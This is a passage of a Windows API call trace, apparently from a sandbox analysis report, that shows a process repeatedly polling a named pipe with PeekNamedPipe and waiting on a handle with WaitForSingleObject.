lpBytesLeftThisMessage=0x0) returned 1 [0135.161] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.200] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.201] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.224] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.224] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.255] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.255] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.286] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.286] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.317] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.318] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.348] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.349] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.380] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.411] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.411] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.442] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.442] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.473] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.473] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.505] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.505] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.536] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.536] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.582] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.582] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.614] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.614] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.645] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.645] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.676] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.676] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.707] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.707] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.739] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.781] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.781] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.801] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.812] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.832] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.832] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.863] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.863] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.894] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.895] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.926] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.926] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.977] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.977] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.016] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.016] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.035] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.035] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.066] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.066] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.098] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.098] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.128] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.129] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.178] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.178] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.207] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.207] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.238] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.238] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.269] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.269] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.301] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.301] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.341] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.341] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.362] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.363] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.394] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.394] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.425] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.425] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.456] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.456] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.487] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.487] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.518] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.519] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.550] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.550] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.581] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.581] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.660] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.660] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.996] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.996] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0137.019] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0137.019] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0137.315] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0137.315] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0137.348] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0137.348] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0137.465] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0137.861] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0138.457] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0138.480] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0138.505] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0138.505] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0138.531] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0138.531] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0138.572] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0138.572] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0138.724] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0138.724] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.096] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.096] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.184] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.184] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.203] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.203] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.233] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.233] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.264] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.644] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.670] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.672] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.711] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.711] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.877] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.877] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.268] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.271] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.453] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.453] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.482] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.483] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.701] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.704] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.743] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.743] WaitForSingleObject 